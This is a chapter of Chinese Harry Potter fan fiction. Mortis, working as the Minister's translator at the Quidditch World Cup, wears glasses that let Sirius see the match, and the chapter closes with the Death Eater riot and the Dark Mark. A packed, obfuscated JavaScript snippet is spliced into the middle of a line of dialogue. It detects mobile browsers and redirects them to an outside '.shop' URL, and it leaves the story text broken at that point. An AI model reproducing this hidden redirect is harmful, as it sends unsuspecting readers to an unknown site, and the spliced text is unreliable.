魁地奇世界杯决赛，爱尔兰对保加利亚。
世界各地的魔法部领导、巫师、魁地奇爱好者和看热闹的观众——十余万人，在半个月内聚集在英国某个荒凉的地方，安保和管理面临严峻挑战。
单是干扰麻瓜不靠近这片区域，对租帐篷给他们的麻瓜进行记忆干预，对喝醉巫师滥用魔法引人注意这几项，就让魔法部人员忙得不可开交。
部里人手不够。莫提斯这半个月成了救火队员，大部分时间维护场地治安，有时还要解决球队粉丝喝醉了斗殴的情况，同时还要确保外来领导的安全。她眼底挂着青黑，但每天还是最早到岗。
比赛当天，她被部长康奈利福吉叫去，当他的贴身翻译。
翻译这件事巴蒂·克劳奇最擅长，可他是国际魔法合作司司长，此时不知道兴奋地陪哪位外宾看球去了，根本不在包厢内。
跟着福吉，莫提斯肯定不能一直戴着那副可笑的红色蝙蝠眼镜。
可惜小天狼星看不到赛事直播了。
站在包厢入口，她望着下方巨大的球场——十万人已经就座，旗帜飘扬，欢呼声如潮水般一阵阵涌来。绿色的草坪在阳光下闪着光，球门圈泛着金色的光芒。
她想，看不了现场比赛，让他看看球场也行。但愿待会儿摘下眼镜后，远方的人不会气得跳脚。
走进包厢前，莫提斯眺望那片绿色海洋，把红眼镜戴上。
韦斯莱兄弟说千里镜功能受距离和气温影响，不知道小天狼星能不能看见她看到的画面。
“情景呈现。”她默念咒语，心跳快了几拍。
片刻，眼前的球场消失，取而代之的是一个黑漆漆的山洞。洞口有光透进来，照在粗糙的石壁上。
这就是他躲藏的地方？山洞？
她感觉眼镜框震了两下，很用力，像有人在激动地跳。她几乎能想象出那个画面——一个蓬头垢面的男人，缩在阴暗的山洞里，突然眼前出现了魁地奇球场的画面，他惊得跳起来，脑袋差点撞到洞顶。
莫提斯忍不住笑了。
可惜时间不多，她必须摘掉眼镜去部长身边。如果工作结束得快，她可以让小天狼星看下半场球赛。
然而，当她要摘掉眼镜时发现——竟然……摘不下来！
镜框像长了根，死死卡在她耳朵上。她用力拉扯，耳朵火辣辣地疼，眼镜纹丝不动。
眼镜透光，她可以看清路面和台阶，不至于受对方画面影响而走路摔跤，可戴着这东西进部长包厢……
她正和眼镜较劲，身后传来脚步声。
“哦，霍普森，我正找你呢。”福吉顺着楼梯走上来。他身边是一个高个子的巫师，穿着考究的深紫色长袍，说着蹩脚的英文，每说一个词都要停顿一下。
莫提斯只能硬着头皮迎上去，露出一个尴尬的笑。
看到她脸上的眼镜，福吉脸色瞬间变得很难看。
可他身边那个高个子巫师却眼睛一亮，用保加利亚语高兴地说：“哇，漂亮的红色眼镜！这位女士一定是保加利亚队的粉丝吧，我听说英国很多球迷喜欢克鲁姆，他可是我们的明星找球手！”
“是的，先生。”莫提斯流畅地用保加利亚语回答，心里庆幸自己几天前把所有外来宾客的名字和照片背下来了。这位是保加利亚魔法部部长奥巴隆斯基，据说是个狂热的魁地奇球迷。
福吉的脸色终于好看了些。
莫提斯跟在福吉身后，来到部长包厢。包厢在球场最上方，能俯瞰整个赛场，视野极佳。
十万人组成的巨大方阵在脚下展开，红绿两色的旗帜像海浪一样翻涌。莫提斯能感觉到眼镜一直在轻微震动——一下，两下，三下——像心跳，像远方那个人的激动。
她几乎能看见他缩在山洞里，眼前是她眼中的一切：福吉的秃顶，保加利亚部长的紫色长袍，包厢里铺着金色流苏的座椅，以及远处那片即将上演传奇的绿色球场。
而她必须集中精神应对眼前的人。除了保加利亚部长，还有来自世界各地的人——法国魔法部部长戴着夸张的羽毛帽，德国魔法部长的胡子里编着精致的小辫，美国魔法国会主席的西装在人群中格外显眼。
莫提斯戴着这副夸张的蝙蝠眼镜跟在部长前后，像一只误入孔雀群的蝙蝠。她不保证小天狼星能看到全部球赛，但魔法部各级官员的脸，他肯定看清楚了。
不但各国部长在包厢，魔法部高级官员也在。比如卢修斯·马尔福。
看他儿子的样子就知道，这位更不会好相处。他站在那里，银白色的头发一丝不苟，手里攥着蛇头手杖，眼神像冰窖里的冷气，扫过谁谁就不自在。不过魔法部的人都很给他面子，围在他身边陪着笑。
然后她看到了亚瑟·韦斯莱——罗恩的父亲。他在魔法部职位不高，但作为二十八神圣纯血统家族之一，在巫师界地位很高。他正和一個戴着头巾的埃及巫师热络地聊天，脸上的笑容真诚又温暖。
莫提斯心里暗笑：大概没人想到，魔法部到处抓捕的国际通缉犯，此时正通过这副搞笑的眼镜，把他们所有人看得清清楚楚吧。
好不容易忙完，比赛已进行到下半场。
爱尔兰队领先。
莫提斯走出包厢透气，发现周围很多观众半张脸涂成绿色，支持爱尔兰队；另一些人则把脸涂成红白两色，脸上画着保加利亚雄狮的图案。和他们站在一起，她的红色蝙蝠眼镜倒也不算太夸张。
包厢最后面，她看见了韦斯莱家的孩子们，还有他们邀请的哈利和赫敏。金妮的红头发在阳光下格外显眼，双胞胎正指手画脚地说着什么，罗恩的脸一半红一半绿，滑稽极了。
莫提斯透过眼镜看着他们。她想，小天狼星肯定很高兴看见哈利，因为她的眼镜晃得更厉害了，像有人攥着它拼命摇。
“你们好啊。”她走过去打招呼，“观赛位置不错，比我能弄到的票好多了。”
哈利一拍脑袋，懊恼不已：“抱歉啊，我忘给你回信了。球票是罗恩爸爸弄到的，我收到你信没多久就去罗恩家过暑假了。”
能在好朋友家过暑假，哈利应该很高兴。可莫提斯注意到哈利脸色并不好，眼角乌青像失眠很久。
韦斯莱兄弟看到她戴的眼镜，兴奋得连球赛都顾不上了。
“哎呀！”弗雷德——也可能是乔治——跳了起来，“我们怎么没想到！可以在球场卖眼镜啊！给没弄到球票的人做赛事转播，我们一定能狠赚一笔！”
莫提斯不得不给他们泼冷水：“这玩意戴上去摘不下来了。要不是大家都化了妆涂油彩，我在部长那里就出糗了。”
“嘿嘿，需要改进一下。”乔治——也可能是弗雷德——掏出一个小本本开始记，“眼镜戴上可能会遇到摘不下来的问题，记下来记下来……”
莫提斯：“……”
“还有可能爆炸！”罗恩指着赫敏的黑眼圈，“她这不是失眠，是被眼镜炸出来的！我提醒过你，莫提斯，不要理弗雷德他们的把戏！”
弗雷德哼了一声：“我们这叫发展事业！”
“小心我告诉妈妈！”
金妮在一旁捂着嘴笑，眼睛弯成两道月牙。
赫敏揉揉眼睛，被眼镜灼烧过的疼没有完全褪去。她问莫提斯：“你今天是来给部长做安保工作吗？”
莫提斯摇头：“我是他的翻译。本来应该是克劳奇先生，不过他本人不在，只好由我代劳了。”
罗恩很吃惊：“我听说克劳奇先生会一百种语言！你会几种啊？”
“呃，比不上克劳奇先生。”莫提斯笑了笑，“八种而已够用了。想当傲罗得学会各种本领，不是吗？”
“八种而已？”罗恩的脸扭曲了一下，转头戳戳赫敏，“看到了吧？终于见到比你还夸张的人了！”
赫敏翻了个白眼，不理他了。
就在此时，爱尔兰队又进了一球。
球场爆发出热烈的欢呼声，像巨浪拍岸。十万人同时起身，绿海翻涌，声浪震天。
莫提斯的耳膜嗡嗡作响，眼镜也跟着震了震，不知道是小天狼星在跳，还是球场在抖。
哈利、罗恩和赫敏趁机凑到她身边。哈利小声问她：“你最近收到小天狼星的信吗？”
莫提斯摇头：“这段时间我一直在魔法部忙，人多眼杂不敢和他通信。你呢？”
“上个星期寄出去的信，还没收到回信。”哈利有些失望。他垂下眼睛，睫毛在脸上投下淡淡的阴影。他好像有非常要紧的事，嘴唇抿成一条线，手指无意识地攥着袖口。
哈利有心事？莫提斯把他的脸锁在眼镜里，让远方的小天狼星看见，催他收到信赶紧回复。
她轻轻拍了拍哈利的肩膀：“有时候没有消息也是好消息，对吧？”
哈利点点头，有点闷闷的。
罗恩勾住哈利的肩膀，用力晃了晃：“行啦，别郁闷了！你上学期认了个教父，又得到一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17433187|200917||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个教母，多开心啊！”
莫提斯：“……”她想把场上的鬼飞球塞进罗恩嘴里。
---
最终决赛结果，爱尔兰队赢了魁地奇世界杯。
保加利亚队的克鲁姆抓到了金色飞贼，可总分比爱尔兰低十分，和冠军失之交臂。
比赛打得非常漂亮，最后十分钟的攻防战堪称经典，直到现在，球场上空还回荡着观众的讨论声。
这场世界杯让球迷热血沸腾，庆祝活动持续到后半夜。
莫提斯在帐篷之间巡逻。
夜风很凉，吹散白天的燥热，吹不散人们的热情。她需要制止那些酒后胡乱使用魔法的人——有人的锅碗瓢盆在天上飞，有人把自己的帐篷变成了巨大的气球，还有人试图给同伴变出一头狮子。
她的眼镜还没摘掉。弗雷德遗憾地告诉她，可能需要等千里镜时效到期才能摘下来。不过眼前的画面颜色已经越来越淡了，像水彩画被雨水浸泡过，逐渐褪色。她快要看不见小天狼星身处的那个山洞了，只能隐约看见洞口微弱的光。
他在外面躲藏，一定很艰难。莫提斯想。山洞那么黑，连张像样的床都没有。
这时，营地边缘爆发出一阵尖叫。
莫提斯一开始以为有人在庆祝，毕竟今夜这样的尖叫太多了。可她再一看，那边被漂浮咒弄起来的不是锅碗瓢盆，而是三个活生生的人。
三个人倒挂在半空，张大嘴瞪大眼睛，身体惊恐地扭动着，像三条上了钩的鱼。周围人尖叫着逃开，帐篷被撞倒，篝火被踢翻，火星四溅。
莫提斯走近。她认出倒挂的三个人，是租帐篷的麻瓜一家，白天还向她问过路。
倒挂的三人下面，站着一群戴着面具的人。他们穿着黑色斗篷，面具遮住了整张脸，只露出眼睛。他们排着队往人群中走，好像在进行一种古怪的仪式，步伐整齐划一像受过训练。
恐怖景象令人头皮发麻，莫提斯立刻召集身边的同事前去制止。傲罗们抽出魔杖冲过去，可那些戴面具的人早有准备。见骚乱已起，他们在傲罗围上来前跑得没影了，也可能是他们卸掉伪装，混入惊慌失措的人群中。
三个麻瓜失去魔法支撑，迅速下坠。莫提斯挥动魔杖，用停滞咒接住了他们——最轻的那个小女孩离地面只有不到半米了。
偶发事件小组立刻出面，干预他们三人的记忆。一道道光闪过，那三双惊恐的眼睛慢慢变得茫然，最后变成睡眼惺忪的迷糊。
营地因为方才的骚乱，很多人开始收拾东西，慌忙撤离。帐篷被胡乱塞进布袋，孩子被抱在怀里，门钥匙旁边排起了长队。
“维持秩序！不要乱！大家有序回到来时的门钥匙！”傲罗行动组组长用魔法放大声音，但声音还是被尖叫声和哭喊声淹没。
莫提斯一边在混乱中维持秩序，一边寻找哈利他们的身影。可眼前人太多了，一时间寻不到他们。
她安慰自己：没关系，韦斯莱先生肯定有安排。
半小时后，帐篷区的人疏散得差不多了。周围渐渐安静，只剩下踩烂的帐篷、熄灭的篝火、丢弃的杂物在夜风中瑟瑟发抖。
傲罗行动组成员集合，准备收拾骚乱的残局。
然而下一刻，更恐怖的事情发生了。
就在天空中，忽然出现了一个巨大的烟雾骷髅。
骷髅的嘴巴里吐出一条弯曲盘旋的蛇，蛇身扭动，吐出分叉的舌头，发出诡异的绿色光芒。
那光芒照亮了整个营地，照亮了每一张惊恐的脸。
在场所有经历过十几年前那场恶战的人都知道——
这是黑魔标记。
伏地魔的记号。
黑魔标记带来的恐惧尘封了十四年，今日居然又出现了。它挂在夜空中，像一个巨大的眼睛，俯视着脚下惊慌失措的人们。
莫提斯仰着头，浑身僵硬。
眼前已经完全看不到小天狼星那边的影像了。
眼镜框自动松开了，落在她手心里。眼眶周围留着灼烧的疼痛，一跳一跳的。
她紧紧攥着那副眼镜，不知道小天狼星有没有看到天上的标记。
最好没有看到。
她太清楚了，黑魔标记重现对他来说，意味着那个让他失去一切的人可能回来了。
夜风很冷，吹得她打了个寒颤。天上的绿色光芒还在闪烁，蛇还在扭动。
莫提斯把眼镜塞进口袋，向标记出现的方向走去。